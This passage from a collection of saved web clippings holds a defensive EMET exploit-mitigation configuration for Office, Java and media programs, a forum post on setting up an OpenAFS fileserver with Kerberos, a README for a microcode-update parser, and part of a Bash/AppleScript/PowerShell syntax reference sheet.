    <AppConfig Path="C:\Program Files\Microsoft Office\Office12" Executable="EXCEL.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office12" Executable="OUTLOOK.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office12" Executable="POWERPNT.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office12" Executable="VISIO.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office12" Executable="WINWORD.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office12" Executable="MSACCESS.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office14" Executable="EXCEL.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office14" Executable="OUTLOOK.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office14" Executable="POWERPNT.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office14" Executable="VISIO.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office14" Executable="WINWORD.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office14" Executable="MSACCESS.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office12" Executable="EXCEL.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office12" Executable="ONENOTE.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office12" Executable="OUTLOOK.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office12" Executable="POWERPNT.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office12" Executable="VISIO.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office12" Executable="WINWORD.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Microsoft Office\Office12" Executable="MSACCESS.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\VMware\VMware Tools" Executable="vmtoolsd.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\iTunes" Executable="itunes.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\iTunes" Executable="itunes.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Java\jre6\bin" Executable="java.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Java\jre6\bin" Executable="javacpl.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Java\jre6\bin" Executable="javaw.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Java\jre6\bin" Executable="javaws.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Java\jre6\bin" Executable="java.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Java\jre6\bin" Executable="javacpl.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Java\jre6\bin" Executable="javaw.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Java\jre6\bin" Executable="javaws.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Windows\System32" Executable="java.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Windows\System32" Executable="javaw.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Windows\System32" Executable="javaws.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\QuickTime" Executable="QuickTimePlayer.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\QuickTime" Executable="QuickTimePlayer.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Windows Media Player" Executable="wmplayer.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Windows Media Player" Executable="wmpenc.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Windows Media Player" Executable="wmplayer.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Windows Media Player" Executable="wmpenc.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    
[/code]

# \[ubuntu\] Openafs fileserver with Kerberos - Ubuntu Forums

**Created:**| _3/16/2010 10:54:19 AM_  
---|---  
**Updated:**| _3/16/2010 10:54:37 AM_  
**Author:**| __  
**Tags:**| _bookmark setup Lab-Setup Filesystem_  
  
Finally it worked\! Based on this:  
http://www.debian-administration.org...tion\_on\_Debian  
  
Make sure the cell name matches and server IP is correct in following files:  
/etc/openafs/ThisCell  
/etc/openafs/CellServDB  
/etc/openafs/server/ThisCell  
/etc/openafs/server/CellServDB  
  
  
and couple of things to change:  
  
Kerberos principals  
\-------------------  
sudo rm -f /tmp/afs.keytab  
sudo kadmin.local  
Authenticating as principal root/admin@SPINLOCK.HR with password.  
  
kadmin.local: addprinc -policy service -randkey -e des-cbc-crc:v4
afs/spinlock.hr  
Principal "afs/spinlock.hr@SPINLOCK.HR" created.  
  
kadmin.local: ktadd -k /tmp/afs.keytab -e des-cbc-crc:v4 afs/spinlock.hr  
Entry for principal afs with kvno 3, encryption type DES cbc mode with  
CRC-32 added to keytab WRFILE:/tmp/afs.keytab.  
  
sudo asetkey add 3 /tmp/afs.keytab afs/spinlock.hr  
  
AFS Partitions  
\--------------  
Run this command to touch a file in it:  
touch /vicepa/AlwaysAttach  
  
Otherwise the fileserver will not list the partition.  
  
Have fun and enjoy\!

# ddcc/microparse

**Created:**| _4/9/2015 9:55:36 PM_  
---|---  
**Updated:**| _4/9/2015 9:55:36 PM_  
**Author:**| __  
**Tags:**| _micro code_  
  
  

# microparse

Microcode update parser for AMD, Intel, and VIA processors written in Python
3.x.

Update binaries can be obtained from:

  * /lib/firmware/amd-ucode and /lib/firmware/intel-ucode with the amd-ucode and intel-ucode packages installed on Debian/Ubuntu
  * Coreboot: http://review.coreboot.org/gitweb?p=coreboot.git;a=tree;f=src/cpu;hb=HEAD
  * AMD: http://www.amd64.org/microcode.html
  * Intel: https://downloadcenter.intel.com/SearchResult.aspx?lang=eng&keyword=%22microcode%22

Listings of publicly available microcode updates are included:

  * amd.csv
  * amd\_mapping.csv
  * intel.csv
  * via.csv

  

# Operating System Automation: Bash, AppleScript, PowerShell - Hyperpolyglot

**Created:**| _10/11/2011 6:30:13 PM_  
---|---  
**Updated:**| _10/11/2011 6:30:13 PM_  
**Author:**| __  
**Tags:**| _zsh scripting powershell_  
  

# Hyperpolyglot

Operating System Automation: Bash, AppleScript, PowerShell

_a side-by-side reference sheet_

arithmetic and logic | strings | containers | functions | execution control | environment and i/o | libraries and modules | objects | reflection | history | contact | edit  

| bash \(1987\)| applescript \(1993\)| powershell \(2006\)  
---|---|---|---  
version used|  _3.2_|  _2.1_|  _2.0_  
show version| $ bash —version| $ osascript -e "AppleScript's version"|
$host.version  
interpreter| $ bash foo.sh| $ osascript foo.scpt| $ .\foo.ps1  
repl| $ bash|  _none_|  $ powershell  
execute command and exit| $ bash -c 'echo "hi"'| $ osascript -e 'say "hi"'| $
powershell -command 'write-host "hi"'  
statement separator|  _pipelines separated by_ ; & && ||| _newline; use ⌥l \(option lowercase L\) to escape newline and continue statement on following line_|  ; _or newline; a newline can be escaped with a backtick:_ \` _newlines are permitted in double quotes and after a pipe:_ |  
block delimiters| \{_…_\}  
\(_…_\)  
do _…_ done|  _keyword_ _…_ end _keyword_  
on _funcName_ _…_ end _funcName_| \{_…_\}  
assignment| a=1  
_whitespace next to_ = _not permitted_|  set a to 1  
copy 1 to a| $a = 1  
parallel assignment|  _none_|  set \{a,b\} to \{1,2\}| $a, $b = 1, 2  
swap| tmp=$a  
a=$b  
b=$tmp| set \{a,b\} to \{b,a\}| $a, $b = $b, $a  
compound assignment operators: arithmetic, string|  _none_|  _none_|  += -=
\*= /= %=  
+= \*=  
increment and decrement|  _none_|  _none_|  $x = 1  
$x++  
$x\--  
variable declaration|  _assignment_ , declare, export, local, readonly,
typeset|  _assignment_ , local, global|  _assignment_  
are identifiers case sensitive?| _yes_|  _no_|  _no_  
end-of-line comment| \# _comment_|  \-- _comment_|  \# _comment_  
multiline comment| <<EOF  
_comment_  
_another comment_  
EOF| \(\* _comment_  
_another comment_ \*\)| <\# _comment_  
_another comment_ \#>  
null| ''| null| $null  
null test| \[\[ -z $v \]\]| v = null| $v -eq $null  
undefined variable access| ''| _error to access uninitialized variable_|
$null  
undefined test|  _same as null test; no distinction between undefined
variables and variables set to_ ''| try  
set t to undefVar  
display dialog \("defined"\)  
on error  
display dialog \("undefined"\)  
end try|  
arithmetic and logic  
| bash| applescript| powershell  
true and false| 0 1| true false| $true $false  
falsehoods|  _everything except_ 0|  _only integers convert to booleans:_  
false 0| 0 0.0 "" ''  
logical operators| && || \!| and or not| -and -or -not  
conditional expression| $\(\(x>0 ? x : -x\)\)| _none_|  
are expressions statements|  _no_|  _yes_|  _yes_  
relational expression| \[\[ $a > 3 \]\]| a > 3| $a -gt 3  
comparison operators| == \!= > <  
-eq -ne -gt -lt -ge -le| = /= > < >= <=| -eq -ne -gt -lt -ge -le  
convert from string|  _use_ $\(\( \)\) _to interpret as integers:_  
A="12"  
$\(\(7 + $A\)\)  
B=".037"  
\`echo 73.9 + $B | bc\`| set a to "12"  
7 + a as integer  
set b = ".037"  
73.9 + b as real| 7 + "12"  
73.9 + ".037"  
convert to string|  _all values are strings_|  7 as text & " items"|
\[convert\]::tostring\(7\) + " items"  
arithmetic expression| $\(\( 1 + 3 \)\)| 1 + 3| 1 + 3  
arithmetic operators| \+ - \* _none_ / % \*\*| \+ - \* / div mod ^| \+ - \* /
_??_ % _??_  
integer division| $\(\( $a / $b \)\)| a div b|  
float division| \`echo " scale=5; $a / $b " | bc\`| a / b|   
arithmetic functions|  _none_ e l s c _none_ _none_ _none_ a _none_  
_how to use:_  
\`echo 'e\(2\)' | bc -l\`| |   
arithmetic truncation|  _none and no floats_| |   
division by zero|  _error_| |   
integer overflow|  _modular arithmetic_| |   
float overflow|  _no floats_| |   
sqrt -2|  _no sqrt_| |   
random integer, uniform float| echo $RANDOM _15 bit integer_|  random number
from 0 to 99  
random number from 0.0 to 1.0| random 100  
random 1.0  
seed random numbers| RANDOM=17  
r=$RANDOM| set r to random number with seed 17| $r = random -setseed 17  
bit operators| << >> & | ^ ~| _none_|  _none_ _none_ -band -bor -bxor -bnot  
strings  
| bash| applescript| powershell  
string literal| 'don'\''t say "no"'  
"don't say \"no\""  
$'don\'t say "no"'| "don't say \"no\""| 'don''t say "no"'  
"don't say \`"no\`""  
newline in literal|  _yes_|  _yes_|  _yes_  
escapes|  _in double quotes_  
\\\ \"  
_in_ $' ' _quotes:_  
\a \b \e \f \n \r \t \v \\\ \' \c _c_ \x _hh_ \_ooo_|  \\\ \"  
\n \t \r  
_other backslash sequences cause syntax error_|  \`' \`" \`\`  
\`0 \`a \`b \`f \`n \`r \`t \`v  
_in other backtick sequences the backtick is ignored_  
variable interpolation| count=3  
item=ball  
"$count $\{item\}s"| _none_|  $count = 3  
$item = "ball"  
"$count $\($item\)s"  
length| s="hello"  
$\{\#s\}| set s to "hello"  
count s| $s = "hello"  
$s.length  
string comparison| \[\[ $USER == foo \]\]  
\[\[ $USER \!= foo \]\]| |   
index of substring|  _none_|  set s to "foo bar"  
offset of "bar" in s|  _returns -1 if not found:_  
"foo bar".indexof\("bar"\)  
extract substring| s="foo bar"  
$\{s:4:3\}| set s to "foo bar"  
characters 5 thru 7 of s as text| "foo bar".substring\(4,3\)  
string concatenation| c="hello, ""world"| set c to "hello, " & "world"| $c =
"hello, " \+ "world"  
string replication| | | $hbar = "-" \* 80  
split|  _none_| |  "foo,bar,baz" -split ","  
join|  _none_| |  @\("foo","bar","baz"\) -join ","  
sprintf| \`printf "tie: %s %d %f" "Spain" 13 3.7\`| | $a = "Spain", 13, 3.7  
"tie: \{0\} \{1\} \{2\}" -f $a  
case manipulation| echo "hello" | tr \[a-z\] \[A-Z\]  
echo "HELLO" | tr \[A-Z\] \[a-z\]  
A=hello  
echo -n $\{A:0:1\} | tr \[a-z\] \[A-Z\]; echo -n $\{A:1\}| | "hello".toupper\(\)  
"HELLO".tolower\(\)  
strip|  _none_| |  " hello ".trim\(\)  
pad on right, pad on left| \`printf "%-10s" "hello"\`  
\`printf "%10s" "hello"\`| | $s = "hello"  
$s + " " \* \(10 - $s.length\)  
" " \* \(10 - $s.length\) + $s  
regex match| \[\[ "hello" =~ ^\[a-z\]\[a-z\]\*$ \]\]| |   
substring matches| | |   
single substitution| s="teh last of teh Mohicans"  
$\{s/teh/the\}| |   
global substitution| s="teh last of teh Mohicans"  
$\{s//teh/the\}| |   
containers  
| bash| applescript| powershell  
array literal| nums=\(1 2 3 4\)| set nums to \{1,2,3,4\}| $nums = 1,2,3,4  
$nums = @\(1,2,3,4\)  
array size| $\{\#nums\[@\]\}| count nums  
length of nums| $nums.Length  
array lookup| $\{nums\[0\]\}| item 1 of nums| $nums\[0\]  
array modification| nums\[1\]=5| set item 1 of nums to 5| $nums\[0\] = 5  
array slice| $\{nums\[@\]:1:2\}| items 2 thru 3 of nums| $nums\[1..2\]  
concatenation| a=\(1 2 3\)  
b=\(4 5 6\)  
c=\($\{a\[@\]\} $\{b\[@\]\}\)| \{1,2,3\} & \{4,5,6\}| @\(1,2,3\) + @\(4,5,6\)  
manipulate back of array| | set a to \{6,7,8\}  
set end of a to 9  
_cannot remove elements from a list_|  
manipulate front of array| | set a to \{6,7,8\}  
set beginning of a to 5  
_cannot remove elements from a list_|  
array iteration| for i in $\{nums\[@\]\}  
do echo $i  
done| repeat with i in nums  
display dialog\(i as text\)  
end repeat| foreach \($i in $nums\) \{  
write-host $i  
\}  
sort| |  _none_|   
reverse| | set a to \{1,2,3\}  
set b to reverse of a|  
functions  
| bash| applescript| powershell  
function definition| add\(\) \{ echo $\(\( $1 + $2 \)\); \}  
_or_  
function add \{ echo $\(\( $1 + $2 \)\); \}| on add\(a, b\)  
return a + b  
end add  
_or_  
to add\(a, b\)  
return a + b  
end add| function add \{  
param \($a, $b\)  
$a + $b  
\}  
function invocation| add 1 2| add\(1,2\)| add 1 2  
missing argument value| ''| _error_|  $null  
extra arguments|  _ignored_|  _ignored_|  _ignored_  
default argument value|  _none_|  _none_|  function add \{  
param \($a=0, $b=0\)  
$a + $b  
\}  
named parameters|  _none_|  to displayNums from x to y  
set i to x  
repeat while i <= y  
display dialog \(i as text\)  
set i to i + 1  
end repeat  
end displayNums  
displayNums to 5 from 1|  
variable number of arguments|  _args in_ $1, $2, … _with number of args in_
$\#| _none_|  
return value| return _arg available in_ $? _variable if a positive integer
smaller than 256_|  _argument of_ return _or value of last statement
executed_|  
lambda declaration|  _none_|  _none_|  $x = \{ write-host "foo" \}  
lambda invocation|  _none_|  _none_|  & $x  
_or_  
$x.invoke\(\)  
default scope|  _global_|  _local_|  
nested function definition|  _visible outside containing function_|
_disallowed_|  
execution control  
| bash| applescript| powershell  
if| if \[\[ 0 == $n \]\]  
then echo "no hits"  
elif \[\[ 1 == $n \]\]  
then echo "1 hit"  
else echo $n " hits"  
fi| if n = 0 then  
display dialog \("0 hits"\)  
else if n = 1 then  
display dialog \("1 hit"\)  
else  
set s to n as text & " hits"  
display dialog \(s\)  
end if| if \($n -eq 0\) \{  
write-host "no hits"  
\} elseif \($n -eq 1\) \{  
write-host "one hit"  
\} else \{  
write-host "$n hits"  
\}  
while| i=0  
while \[ $i -lt 10 \]  
do i=$\[$i + 1\]  
echo $i  
done| set i to 0  
repeat while i < 10  
set i to i + 1  
display dialog \(i as text\)  
end repeat| $i = 0  
while \($i -lt 10\) \{  
write-host \(++$i\)  
\}  
break/continue| break continue| exit _none_|  break continue  
for| for i in 1 2 3  
do echo $i  
done| repeat with i from 1 to 3  
display dialog \(i as text\)  
end repeat| for \($i=1; $i -le 3; $i++\) \{  
write-host $i  
\}  
raise exception|  _return nonzero status_|  error "bam\!"|  
catch exception| trap 'echo "risky failed"' ERR  
risky| try  
error "bam\!"  
on error msg  
display dialog \("error: " & msg\)  
end try|  
uncaught exception behavior|  _stderr and continue_|  _display error and
exits_|  
environment and i/o  
